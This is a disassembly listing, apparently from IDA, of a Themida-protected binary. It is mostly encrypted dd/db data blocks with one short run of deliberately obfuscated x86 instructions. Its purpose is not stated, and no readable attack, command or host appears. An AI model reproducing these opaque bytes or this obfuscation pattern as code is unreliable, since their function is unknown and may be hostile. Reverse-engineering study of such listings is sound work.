		dd 43000000h, 9D29C353h, 6BDD0CCDh, 0BA66AB3Eh,	8D89B49Eh
		dd 5E20BE9h, 6185C7F5h,	0E805E207h, 6A00006Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0E80CC351h, 9, 0E31FB370h, 0B5C90613h, 13E987h, 0CC480000h
		dd 4C5AD703h, 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh,	85C75FA3h
		dd 5E21B55h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 75C35343h
		dd 561B6EBDh, 2CF5958Bh, 0B5FF05E2h, 5E210E5h, 0E818D89h
		dd 95FF05E2h, 5E20B15h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0ABC35545h, 51E3E5ABh, 0C3991E9Ah, 6ADA8AD8h
		dd 0B995FF00h
		db 0Ah,	0E2h
word_5560C6	dw 8B05h		; DATA XREF: Themida_:004EEB38o
		dd 4B7FEBC0h, 19074FD9h, 309B7AB8h, 24773039h, 77729361h
		dd 0BEBF276h, 49B3BA5Bh, 0F0AA32Fh, 1AE8A716h, 30B78440h
		dd 2A5D9C45h, 3263FE6Dh, 0B5DC4400h, 28D221BCh,	0AEE87B55h
		dd 0FE4EAAB7h, 0F2A002DEh, 89A344E5h, 0FAFF5A90h, 42712F27h
		dd 0A351AA10h, 845DBE04h, 0F851272h, 79A96E5Bh,	0AB2A2BE0h
		dd 0DCE77BFAh, 0DCF2C10Eh, 0A0D524ABh, 640012CFh, 505DB220h
		dd 0ED7281E6h, 1A233587h, 8D8D86E9h, 5E88539h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FAC35646h, 8B67172Ch
		dd 8D89D1D4h, 5E20BE9h,	0DE8h, 0F0A7AE00h, 811B8FAEh, 0BF3E174Dh
		dd 0C75E8BC6h, 0E2076185h, 725805h, 0D0816600h,	8E0FD7FBh
		dd 0
		dd 1B5585C7h, 5E2h, 0D6810000h,	1F3268F5h, 1DF1B5FFh, 0BD2905E2h
		dd 5E230CDh, 0B1595FFh,	6A05E2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 55F37FC3h, 47740614h
		dd 0DE80740Dh, 0FF006AAFh, 0E20AB995h
dword_5561F0	dd 0EBC08B05h, 6EF82C4Dh, 6133A8h, 3A13B7DDh, 7C54424Dh
					; DATA XREF: Themida_:004EFE78o
		dd 88A4EFCEh, 87C210EAh, 0CDF93DC0h, 0DCCDEDB0h, 817EF96Ch
		dd 0BD605DAh, 0C74B524h, 0E7C6F35Ah, 7B1EEC61h,	63D6ED1Bh
		dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 5685C3F4h,	0BF1714C4h
		dd 7E85FF9h, 16000000h,	832FA93Ch, 0BE661139h, 815BB328h
		dd 6387C3h, 0FB8B6600h,	0B8h, 800F6000h, 6, 0E619D89h
		dd 0BD2905E2h, 5E22691h, 30C8B61h, 36E9C181h, 8166601Dh
		dd 814985DFh, 3D6A3EF1h, 56F28133h, 812F66CFh, 132A19C1h
		dd 21952971h, 8905E219h, 0BA66030Ch, 958B4D21h,	5E22415h
		dd 6604E883h, 0FD0CD781h, 9CF0F881h, 850FFFFFh,	0FFFFFFB9h
		dd 2B65B58Bh, 11E805E2h, 0AC000000h, 860064E0h,	0CC3AD1Eh
		dd 4656F7FBh, 5AE4C87Dh, 26A9BD01h, 0F55E05E2h,	59C4C681h
		dd 0CE90000h, 0C0000000h, 5F0C470Dh, 378BC87Ah,	2B4EC530h
		dd 21DA81C9h, 8B2F0F15h, 958B0E1Ch, 5E21D65h, 64CDEB81h
		dd 0E38A06C2h, 0A121F381h, 0F605B71h, 381h, 0D1B70F00h
		dd 0A5B58957h, 5A05E22Ch, 71C38161h, 0E87C8F8Dh, 7
dword_556334	dd 0BEA2512h, 31043A38h, 0E215719Dh, 1C895F05h,	93F2810Eh
					; DATA XREF: Themida_:004F0958o
		dd 8B580A8Ah, 0E200E185h, 3E98305h, 0CCF28166h,	0F480495Fh
		dd 0E0F98169h, 0FFFFFA6h, 0FFFF9685h, 69858BFFh, 8D05E213h
		dd 0E8876D8Dh, 58B0F05h, 66000000h, 372DE881h, 0E98D89F8h
		dd 6005E20Bh, 2CA1BD31h, 0B58905E2h, 5E215F1h, 6185C761h
		dd 6405E207h, 6A000063h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 89F6C355h, 0FC9D9B6Dh
		dd 1B5585C7h, 5E2h, 0CA800000h,	59B5FFFFh, 6A05E206h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0B436C356h, 1595FF38h, 6A05E20Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 377DC352h
		dd 0BB228E2h, 0DCE28166h, 0FF006AAEh, 0E20AB995h, 0EBC08B05h
		dd 0B4F8426Ah, 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 0BAA1B2FCh
		dd 9CE0B491h, 139F4C2Eh, 0AB336A42h, 8ED68EADh,	0D880CDC9h
		dd 408BE317h, 0DDAA044Fh, 0B9A40EA9h, 985A8B6Dh, 41560839h
		dd 0CF4535D9h, 71E796E1h, 376B748Ah, 4ABBB890h,	5ECF9CCFh
		dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh,	42630E6Eh
		dd 357FB21Ah, 0EB54BD0Bh, 0FCF9D904h, 50CE966h,	4F890000h
		dd 0FAFA4F4Bh, 0A95110BEh, 4D88F9E5h, 0FDFE434Fh, 0F59C2BB7h
		dd 616D33A8h, 0CFCBD900h, 963C807Ah, 7A6026D3h,	0ADAE0B7Ah
		dd 64F9F03Eh, 696EFD39h, 6499D823h, 8F1B05Eh, 0FFF87B82h
		dd 0A02362B9h, 0FE039137h, 0D7702EEFh, 0FC180A66h, 0D6021CBFh
		dd 27566859h, 682161EAh, 0FAC43152h, 32767EE1h,	15E1ABEBh
		dd 6C6A30A9h, 24D9DF1Dh, 91CE0F9Eh, 0FAC63475h,	0D4D00447h
		dd 98A304B1h, 891CA259h, 0E34F2721h, 0F3B2B5F9h, 0F6678604h
		dd 877031D5h, 9D5F1E01h, 0C4ADC811h, 0FC18A4AEh, 0CE4135B3h
		dd 3A043013h, 77B8h, 82763900h,	5D6EEF3Eh, 23696E69h, 0C059D8h
		dd 6143BF1Fh, 0DF52BB0Ch, 0C4FC1829h, 0A27FB282h, 0B3A04A3h
		dd 0F90C9048h, 1266B7Ch, 18000000h, 0B228666Eh,	0EB6AB1EEh
		dd 155CAFEBh, 1E41A4E2h, 0BABB1CDAh, 6BFC18B9h,	1D44A71Ch
		dd 634FDEDCh, 38A10DF9h, 47010572h, 0D056C36Fh,	9038FB18h
		dd 2F7E44B9h, 0E96871AEh, 5C2DA9EDh, 0A4E2179Bh, 22D51441h
		dd 0A5A32F64h, 0C4276D6Eh, 0CE5D599Dh, 3C4F5387h, 227945B5h
		dd 0EA4E2660h, 0E4522284h, 9C2DA9F7h, 4B9C1ADDh, 1ADFD304h
		dd 5DC4279Ch, 0B9FC7DDAh, 5E15FC18h, 8A16C28Dh,	82B31497h
		dd 53FC18B9h, 18B8C3E4h, 7EA3E6DEh, 0CD3A0411h,	67h, 276D6EF1h
		dd 8D5D9DC4h, 29E44A5Bh, 2BAB1E70h, 0ABEB326Fh,	34A915E1h
		dd 0A9F5E5A4h, 187ADF90h, 0CC3976FCh, 347A63C6h, 2B676ED1h
		dd 5398E3AFh, 0FB7D87E6h, 0D459840Bh, 75F43A04h, 187063D4h
		dd 0E4C5B2FCh, 47BFh, 6D6E8300h, 5F9DC427h, 8F1EA459h
		dd 0FC0F9544h, 18DF027Fh, 0F6C62592h, 0C5368470h, 6E15D3FFh
		dd 0E3B12866h, 189E5998h, 4A1776A3h, 0FC18B934h, 0BFCBBB2Dh
		dd 0B9DA9B3Ch, 3C0BFC18h, 13429FABh, 1E93A04h, 0DD000000h
		dd 0C7266A6Eh, 0CE5D5B9Ch, 0E08E66E0h, 0C7784877h, 0FCC465Fh
		dd 0CB63F455h, 38847671h, 8377FAC3h, 0BBD8933Fh, 0C8119097h
		dd 0FC180B87h, 3CBEE15Eh, 8F285770h, 1FA7FFFh, 83C25916h
		dd 3C3D9A56h, 0D5F9FA7Fh, 0C4A5219Eh, 29769513h, 0F9FA7F16h
		dd 1F2B1B4Dh, 7F3A3B9Ch, 96EBF9FAh, 0D8E15E62h,	0BC5A6099h
		dd 7F8E0CCDh, 668503F4h, 0EC9A6ACCh, 0C920527Bh, 0CA131C7Ch
		dd 4E545287h, 0E6180DC0h, 0FBE1A03Fh, 71E916B7h, 0DD000001h
		dd 0AAEEEFAEh, 0DF1C6F2Dh, 0F7BB3F62h, 0AD862794h, 0DA9D8CA0h
		dd 0C649921Eh, 0C8D40447h, 46AF38BDh, 1FADFE8h,	3F309918h
		dd 0D6F9FA9Fh, 6DDA4099h, 3AE56DFAh, 0EDAE269Eh, 249B5B6Ch
		dd 9D2EDE79h, 8CC8FF6h,	0EBFC798Ch, 0A9357364h,	2991FD8h
		dd 759016C3h, 798C10CAh, 6EBD03F6h, 0E4926224h,	0FAAC1243h
		dd 3F74C3F9h, 3F7B6FBh,	0E7B47B5h, 0E56D7EFFh, 7634A511h
		dd 28EF2268h, 4D5C3FE6h, 66000000h, 0D2557918h,	8A26D345h
		dd 0BF3C4F4Dh, 896A0A9Eh, 3768F130h, 75FC1870h,	0A1C4C832h
		dd 70060FE8h, 0D3082943h, 44A79C0Ah, 18B37AFBh,	5C2812FCh
		dd 52D5F998h, 46F750D3h, 9FFC18B3h, 6DBE07A0h, 84FC18B3h
		dd 0A1BE23AFh, 0C4000000h, 738B7B18h, 5864C8A4h, 0DE7599E3h
		dd 2398B817h, 0C93073F6h, 555384FBh, 0FD248536h, 0FAEB3A5Ch
		dd 0CA59CE01h, 0B7F39DB9h, 84F317B0h, 8B19C285h, 2FA82B32h
		dd 0DB1C6D69h, 84C74EDDh, 0B994254h, 88A40DDEh,	0D5F9FA91h
		dd 0C374D554h, 1FF9FA95h, 0E267BBF8h, 30B1DD00h, 0FA8BA697h
		dd 0CB007FF9h, 0E7C48F2h, 14C7C3C9h, 83245B0Fh,	7E37388h
		dd 743F4E25h, 0A0FBC735h, 0BB01F42Bh, 0FCBA3F22h, 2F0741A9h
		dd 10944003h, 0C09B6307h, 0D99D36h, 0CC0C2A37h,	33948BC0h
		dd 9CBD558h, 2A10BEF5h,	0D0577B18h, 1F13851h, 0ED13DB2h
		dd 499220DBh, 12335E0h,	98E35802h, 671AA059h, 501243E4h
		dd 74C3F9F0h, 50E354F5h, 4532F9F0h, 16C3A664h, 562C7590h
		dd 0A15AC5C7h, 36A30FE7h, 0E2176A70h, 356226AEh, 22686FD6h
		dd 3C787C3Fh, 3C2680ABh, 0BFFDFA48h, 3FA92E13h,	98B76DE8h
		dd 0AFFE2B28h, 3C4h, 9DA7FE00h,	0D92C686Eh, 0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 0E18951F2h, 4C181h, 0E9830000h
		dd 240C3304h, 33240C31h
		db 0Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	5C3Ah
		mov	[esp], edi
		push	esi
		push	69094A18h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 0FF7706Ch
		sub	esi, 532951C5h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		pop	ebp
		mov	[edi+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 8Ah,	10h, 22h
		dd 50BF78C5h, 97AB2DE8h, 6EB8902Dh, 305E88Ch, 0E4E0FFC5h
		dd 1E056809h, 2354977Bh, 75354BF0h, 0B05D9AB7h,	257038C8h
		dd 0C01B3B6Ch
		db 48h,	8Ch, 2Ch
byte_5569CF	db 8Dh			; DATA XREF: Themida_:004EF2B8o
		dd 0E88DB48Dh, 0DDF38005h, 0BE98D89h, 858905E2h, 5E21601h
		dd 76185C7h, 5AB805E2h,	85C70000h, 5E21B55h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FCC35545h
		dd 61B58912h, 0F05E206h, 0B5FFF7BFh, 5E21D05h, 0DAF067B8h
		dd 1595FF10h, 6A05E20Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 13F0C350h, 9CC7FF9Dh
		dd 0FFFA547h, 689h, 0EDB58B00h,	0BE05E205h, 4FD4C7F6h
		dd 95FF006Ah, 5E20AB9h,	6CEBC08Bh, 24E14DF3h, 0F53EAD5Bh
		dd 15168D3Eh, 2C6585B0h, 0A4489668h, 0C921F5C3h, 0FB5152CEh
		dd 0DB57E85Ah, 6142A8C7h, 0C3240901h, 2D0E5075h, 0AFE64641h
		dd 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h, 6FEAA1C2h
		dd 0B4CB2093h, 1C4FE862h, 99255B1Ch, 9D0B55F8h,	8CAD1167h
		dd 0BC494ECFh, 0CA84F5h, 521DAFECh, 5A99179Eh, 12AF5BBEh
		dd 8EE48D8Dh, 6A05E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A07449C3h, 8E8D634h, 0EA000000h
		dd 12FB799h, 6602EDCFh,	0AED5DE81h, 0E98D8958h,	8B05E20Bh
		dd 0E21D79BDh, 6185C705h, 0C005E207h, 6A000064h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 2AFBC355h, 0A3A67B5Bh, 85C77233h, 5E21B55h, 0
		dd 0B5FFE28Ah, 5E2325Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 7CC35747h, 0AC58F826h, 75DBD89h, 95FF05E2h
		dd 5E20B15h, 250DBD8Bh,	0C58A05E2h, 95FF006Ah, 5E20AB9h
		dd 5FEBC08Bh, 9A78AAB1h, 31B470EFh, 0D42C71h, 0A527F096h
		dd 595AF29Fh, 59783F6Eh, 3B37CCFCh, 818D6BFAh, 7C516DCFh
		dd 83CCC8D5h, 0DB524884h, 6A8ABB0h, 0C17082C0h,	842F14FCh
		dd 0E60CE044h, 13423245h, 78DEB417h, 83F2DEEEh,	1CABB452h
		dd 0FC8E73D8h, 2307493Bh, 0AAA640ECh, 0AC5BC517h, 0E8EBFFD1h
		dd 9, 0F0606113h, 0A5550A01h, 58B0FC5h,	66000000h, 0A51ED681h
		dd 0C78B6659h, 6C62C181h, 0DAB70000h, 0BD29D233h, 5E22BD5h
		dd 0F113C8Bh, 288h, 81E6B300h, 979DB5C7h, 0F781FC0Eh, 45AD536Bh
		dd 81F78B66h, 340C96F7h, 0EE971h, 0C3FF0000h, 20F1FBA6h
		dd 0CB3D0AF9h, 47E49373h, 89113C89h, 0E21CC5BDh, 89BD8905h
		dd 8305E20Ah, 816603EAh, 4AED06F3h, 2519B58Bh, 0FA8105E2h
		dd 0FFFF9448h, 18850Fh,	858B0000h, 5E208ADh, 1DE9h, 0A4DC0500h
		dd 31872927h, 0EC879EC2h, 8D01BAC4h, 5E20EB9h, 0FFFF7FE9h
		dd 67908CFFh, 0FE85EAAh, 4C000000h, 0D6E0AEBBh,	7A053678h
		dd 0FCD1E26h, 0B58BB213h, 5E20151h, 75958B5Bh, 8105E20Bh
		dd 64F1C3h, 0E9958900h,	6805E222h, 190Dh, 117D9D09h, 0E95805E2h
		dd 14h,	0ACF7211Bh, 5BCC606Dh, 0AC4F7875h, 0A270ED65h
		dd 45E97BB4h, 958B0B8Bh, 5E224D5h, 75E8C181h, 0C1813554h
		dd 75067889h, 81BEC280h, 308BBFC1h, 8210BA3Dh, 29514E73h
		dd 0E20999BDh, 89038F05h, 0E200658Dh, 8AEB8105h, 0F2512F3h
		dd 38Ah, 0F3B70F00h, 0F386C381h, 0F482512h, 1385h, 2A15BE00h
		dd 1DE970BAh, 24000000h, 0F5A9F29Ch, 1C03E34Fh,	0E9FB8B66h
		dd 0FFFFFF98h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 91C48D8Dh
		dd 0B58B05E8h, 5E21D8Dh, 12E0F281h, 8D893B9Eh, 5E20BE9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 85C35343h
		dd 7FCD8E12h, 4DB589E6h, 8905E20Ah, 0E21C9DBDh,	6185C705h
		dd 0C005E207h, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0EFE1C355h,	0AD1C0E51h
		dd 8AA22D29h, 5585C7DCh, 5E21Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F052C353h
		dd 11E995A3h, 0DB000000h, 25E15C7Ah, 3AD3B1A7h,	3C9EA90Dh
		dd 0F9FC9411h, 0FFF28B66h, 0E23045B5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 459A2E82h, 0F344357Eh, 29506008h, 0E232B9BDh, 0F78B5E05h
		dd 1595FF61h, 6605E20Bh, 858BC38Bh, 5E22539h, 95FF006Ah
		dd 5E20AB9h, 0CEBC08Bh,	0A05DC216h, 0CA0ED7C7h,	5A13D7F2h
		dd 5E8h, 0CD2E5F00h, 85091D1Fh,	5E226A1h, 0C081665Ah, 0C281DD91h
		dd 6001h, 115B589h, 0B905E2h, 66000000h, 0DD20D681h, 8B0A3C8Bh
		dd 0E205A985h, 67F78105h, 8938DFE8h, 0E213F99Dh, 7CEF8105h
		dd 0F91E1072h, 3E13F781h, 60572B26h, 89575861h,	0E208AD8Dh
		dd 0A048F05h, 0EE8E28Ah, 7F000000h, 44D4D012h, 59C32830h
		dd 5095EF25h, 7D858B6Eh, 5805E219h, 8B01E983h, 0E21F01B5h
		dd 49494905h, 81D88B66h, 0FFA0ACF9h, 12850FFFh,	3000000h
		dd 0E225D19Dh, 18E905h,	90C40000h, 0DC43BC0Fh, 0E95E568Ah
		dd 0FFFFFF80h, 6732E88Fh, 0B369137Ch, 0AE86BA6h, 0C9000000h
		dd 0B7DE6D0Ah, 772C5Ah,	0D98D8913h, 5905E210h, 4BC181FCh
		dd 66000060h, 0A7D1CE81h, 17DD68h, 0CE900h, 670B0000h
		dd 9BFDA1FFh, 0E250994Dh, 8158CF7Bh, 0A181A3DFh, 3331FF59h
		dd 0E203D9BDh, 89605B05h, 0E21C4D8Dh, 0FD8D8905h, 6105E217h
		dd 744BEB81h, 0B58B212Dh, 5E22405h, 339C381h, 0BD8B2B05h
		dd 5E2138Dh, 0CD89EB81h, 0BD8B2101h, 5E21AA1h, 89018F53h
		dd 0E21EADBDh, 2E98305h, 0AE9h,	4C1E5700h, 8E7FE56Fh, 497AA610h
		dd 8B666049h, 0EE9C7h, 0A2CE0000h, 1535A932h, 8DBDFADDh
		dd 0D1600813h, 850F4861h, 16h, 0E9FB8B66h, 22h,	0CADF3E37h
		dd 2A3056E9h, 3A05F6A2h, 0E681DE4Fh, 41DBBFFBh,	0FFFF68E9h
		dd 14F03FFh, 290271EFh
		db 94h,	74h
word_557022	dw 7582h		; DATA XREF: Themida_:004EF4B4o
					; Themida_:004EF904o
		dd 690889A0h, 0A6DC7814h, 0C764D38Dh, 0A12E8635h, 25908635h
		dd 254813D9h, 0AC990530h, 25176430h, 2581023Fh,	98078630h
		dd 20A09545h, 5EA58930h, 0E3908630h, 0C742CFB5h, 14CC835h
		dd 0A4CE6F43h, 816DA204h, 907BF29Bh, 20A086B9h,	5F4003BDh
		dd 0F56F83D5h, 0A08E76BBh, 20C68C79h, 25166E7Eh, 0F2498630h
		dd 0AED42E72h, 0AE46A274h, 1650F30h, 906FDE34h,	20AA9545h
		dd 5F4503BDh, 0F5ED83D5h, 35B07EBBh, 0CC848630h, 25428638h
		dd 2BA48996h, 6C908630h, 0A0474F3Bh, 0DADB79C0h, 25128BD9h
		dd 67940B30h, 9D81647Ch, 25428635h, 98AC65CFh, 2078155Bh
		dd 0B1790BBDh, 379C83D8h, 0E94B615h, 758247FFh,	690889A0h
		dd 0A6DC7814h, 0C764D38Dh, 0A12E8635h, 25908635h, 254813D9h
		dd 0AC990530h, 0F305E983h, 22B9A4h, 0DE80000h, 62000000h
		dd 2DF33794h, 152BF154h, 0FBB08BF3h, 0DE8h, 0F7FF0D00h
		dd 0EFC43F2Ah, 9ABCF87Ah, 0FE8109Bh, 5E000000h,	0F46B0380h
		dd 18E456E5h, 1DB53F61h, 8E95F10h, 69000000h, 84709FF3h
		dd 5FF71FE7h, 9D8B585Fh, 5E223E1h, 6AE8C081h, 85890000h
		dd 5E20D61h, 0B9h, 9D095600h, 5E2242Dh,	8148B5Bh, 6870Fh
		dd 9D8B0000h, 5E2065Dh,	8FDF281h, 9D315D0Eh, 5E216E1h
		dd 0C0D0F281h, 858973D8h, 5E204C5h, 2089EA81h, 0CF804872h
		dd 81489F5h, 2CF98D89h,	0B58905E2h, 5E218E1h, 0B308E981h
		dd 80606151h, 8B66E0D8h, 0C18161CEh, 6151B304h,	13CD8D09h
		dd 0F98105E2h, 0FFFF95F4h, 0E850Fh, 14E90000h, 21000000h
		dd 631233Ah, 559498CFh,	0FFFF88E9h, 353047FFh, 8DFCEE66h
		dd 0E895CA8Dh, 5E905h, 0E7230000h, 89EC6EB4h, 0E20BE98Dh
		dd 0CE905h, 0F1590000h,	0D83A3B6h, 0BE6DAD8h, 85C7FE94h
		dd 5E20761h, 720Ch, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 9EC35242h, 6C24544Ah,	3192B881h, 0E20509B5h
		dd 5585C705h, 5E21Bh, 0B8000000h, 59974D48h, 18EDB5FFh
		dd 958905E2h, 5E229C1h,	0FC98D31h, 95FF05E2h, 5E20B15h
		dd 424DE881h, 6A389Bh, 0AB995FFh
		db 0E2h
byte_557281	db 5, 8Bh, 0C0h		; DATA XREF: Themida_:004EEC80o
		dd 0DED659EBh, 0D893476Ah, 0CE838EB0h, 925579A4h, 5209A7EDh
		dd 135F7BD2h, 55A28302h, 99583B8Dh, 0B437BFF5h,	0D5E50DBEh
		dd 0EFDB3F07h, 649CF6EBh, 9BE62A0Ch, 126ADB9Ch,	0DB581D2Dh
		dd 5E3C5D26h, 0C66C5322h, 6446DF6Ah, 2F2BA31Eh,	9DE03B35h
		dd 95C45D7Eh, 6115A1A7h, 0EB24BA52h, 20C1C804h,	81EE955h
		dd 9B5D0000h, 468EF31Fh, 0F5E54442h, 995C2DA9h,	49B2F713h
		dd 41205F7Bh, 95317F7Ch, 739F25D4h, 0DAC0CC0Eh,	0AE347267h
		dd 79FA5FA6h, 0A8F9F02Fh, 0FA8821E5h, 0C6FC18B9h, 0D93B5711h
		dd 0C8633308h, 0DF447793h, 5FD374EBh, 0B601FA6Ch, 0BA23A2F9h
		dd 0C93275F4h, 4524E2FBh, 4CF71694h, 44FE0D8Bh,	33A412E2h
		dd 59D86975h, 0FA6E7FF0h, 0D996F9h, 0E6EAA77Ah,	76043Fh
		dd 6E3E0000h, 9DC4276Dh, 0D9F38E60h, 0DA5C3540h, 25D71E6Dh
		dd 14C30299h, 7DFF7796h, 79C33789h, 0F6BC218Dh,	0E46FA2E8h
		dd 49DC3A04h, 0E6000000h, 0C4276D6Eh, 18B9C77Bh, 0B806F5FCh
		dd 0BDF5E26Dh, 0A328733Fh, 83C51776h, 0CB754DB3h, 0CD0C4FFBh
		dd 505480C7h, 8D13C877h, 0E677E001h, 0BD8CA599h, 0C4E6123Bh
		dd 8D4AAE69h, 1BD53Ch, 0C5520000h, 6FB98DEEh, 0EFDBEC4Fh
		dd 0C4276D6Eh, 18B9C47Bh, 0D9AD9BFCh, 0A422706Dh, 577B18BEh
		dd 892E51D0h, 0FC18B9C8h, 30992219h, 1FADAD2h, 16C58425h
		dd 98BEBF88h, 1857F9FAh, 9C3DBCA3h, 0F9FA98DBh,	81AC3D0Ah
		dd 88169A5Eh, 0E051F679h, 31F9FA98h, 0FAFE617Ah, 989ADB7Ch
		dd 364BF9FAh, 0FA98A091h, 0CD3A71F9h, 97BC7590h, 4A0D8CB3h
		dd 7CF90C90h, 0C2C0026Bh, 0D8730418h, 72A8B8B7h, 0F5104DC8h
		dd 0BC73E42Dh, 9AC9539Ch, 0F5C18952h, 414D5189h, 51B4F8E0h
		dd 0DC3E5708h, 0ECA455F7h, 1570ADEBh, 3E8CCD6Ah, 0EE45F7DCh
		dd 2D783EBBh, 6A932174h, 3781712Ah, 0EEF34531h,	0ACF0E8ABh
		dd 1763531Bh, 5226D5E3h, 0DCC944F5h, 69A69DF7h,	8F4A0D3Ch
		dd 1EBBFA01h, 0F7DCC95Dh, 7942BFF4h, 7E18A7ADh,	704A9452h
		dd 8723696Eh, 75B39AEh,	5260B5CCh, 55D79D89h, 3D040788h
		dd 37C7h, 7E18FB00h, 9AE9452h, 0FC18B948h, 692FA899h, 94AEB63Ch
		dd 23266A6Eh, 94357B60h, 8EF170D6h, 8066474Dh, 2C8Eh, 894C0F00h
		dd 0EDAFF803h, 0AD560A7Ah, 1BEFF835h, 0A3587E18h, 0AE1AA01Dh
		dd 18B94809h, 0CBF764FCh, 6C6C2FAEh, 6EA38720h,	7098266Ah
		dd 0FF696E4Ah, 0BE1F3300h, 1514413Dh, 5F043592h, 0D506FC18h
		dd 133FBCCFh, 9FF88324h, 0FC1DDC70h, 9FEBDB9Dh,	0BC2D5C5Ah
		dd 837774FAh, 0EE6FEC3Fh, 4B9C62B3h, 0A3F1EA5Fh, 5F96D958h
		dd 3089C259h, 0A7C6CC31h, 0ADD9AD0Fh, 5FAEEAEAh, 5982CD1Eh
		dd 0CC14F4Bh, 0A33A0993h, 4Bh, 0EAEFAE87h, 316E32A6h, 6030A9A8h
		dd 65D6357Bh, 7FE4DD28h, 0A5129841h, 0D58623A2h, 0CFC18B9h
		dd 0A8F3BF3Dh, 0AAD5F623h, 0FACF490Dh, 50AB8001h, 0EE9C68D2h
		dd 4672BAFh, 206490D7h,	991FD887h, 385BCC7Dh, 7C822FA2h
		dd 6EAE9C2Dh, 7D3C2369h, 81AC3D79h, 0CA0D2B28h,	0C73CB9CCh
		dd 0C2A3E740h, 6DDA01FAh, 7E187B61h, 39AE9452h,	0DF048323h
		dd 0D8434894h, 3375804h, 45F653D6h, 9CFC1815h, 347F06A7h
		dd 0E1048275h, 0EB32767Eh, 0D6943562h, 8723696Eh, 39AE0F35h
		dd 0A5186307h, 25419AADh, 3D047CF8h, 5357h, 8947D000h
		dd 0D614A635h, 13995C83h, 39AEFCCAh, 7BB9CBE6h,	0BEFAFA85h
		dd 878F7841h, 5F7B6A9h,	0AE5A20B9h, 0FD6F6C2Fh,	0EBB19FE6h
		dd 0E03B70B5h, 4809526Bh, 99FC18C7h, 0F9FCBFA2h, 0DAE368B3h
		dd 6C2FAEECh, 0AC9A2369h, 98266A6Eh, 198E4A70h,	0B4000000h
		dd 94527E18h, 0B94809AEh, 0FD64FC18h, 7846B3FFh, 6A6E94AEh
		dd 4A709826h, 40E9696Eh, 0FC18B90Fh, 0D3C69C6h,	0F90C904Ah
		dd 41C06B7Ch, 4AD1D71Eh, 0B05FB801h, 5DFC1D3Ah,	8A1F2B1Bh
		dd 689222ADh, 0AB9637CDh, 1F62682Eh, 0CAB5D0DEh, 3E934B8Bh
		dd 656F1549h, 3FBCCF04h, 743AA3AEh, 6B5B9D11h, 0CAD0DE1Fh
		dd 8CF914Ch, 1CBD3C3Ah,	0FC1C095Bh, 0E72CBD8Ah,	2Ah, 29696EDBh
		dd 54B7ECB2h, 0AFD2F69Bh, 0FAD2680Ah, 4706BB01h, 3C3D0E94h
		dd 0EF9FAA0h, 0E259C5CBh, 6A2C56B5h, 0EDAB2C9Ah, 696EFBE1h
		dd 9EEDB129h, 3E61E05Dh, 22ABF2B6h, 1805F299h, 0F3B23534h
		dd 0EC8580Ah, 0C6D34DA7h, 0E0F97289h, 0FADE6387h, 2FA79A01h
		dd 11903E6Bh, 0C5E6AA2Eh, 0B339AEE1h, 0DA44F4FBh, 55FDB617h
		dd 704A737Fh, 8723696Eh, 1F5B435h, 55462485h, 3D040788h
		dd 26C7h, 7E18FB00h, 9AE9452h, 0FC18B948h, 0AE04A299h
		dd 266A6E94h, 4EF17098h, 18B968E9h, 0F9C2B9FCh,	1D8E0Dh
		dd 18B40000h, 0AE94527Eh, 18B94809h, 0CBF764FCh, 6A6E94AEh
		dd 0D60F51FAh, 144156B2h, 6E4A70AEh, 0ECB22969h, 0E40B54B7h
		dd 31FC1D3Ah, 0C6337F77h, 7267DAC0h, 7B18D134h,	7377D057h
		dd 0B101FE40h, 33A8A90Eh, 4974F9FEh, 9CF3C2B4h,	3881FE64h
		dd 430995E2h, 94527E18h, 0A9E7EFAEh, 0DD1E6D31h, 0BD1A0560h
		dd 0FC18B9BCh, 18A11E55h, 696E897Dh, 0F358723h,	4078855h
		dd 5CC73Dh, 18FB0000h, 0AC2F527Eh, 0B9CB8C2Dh, 2D1AFC18h
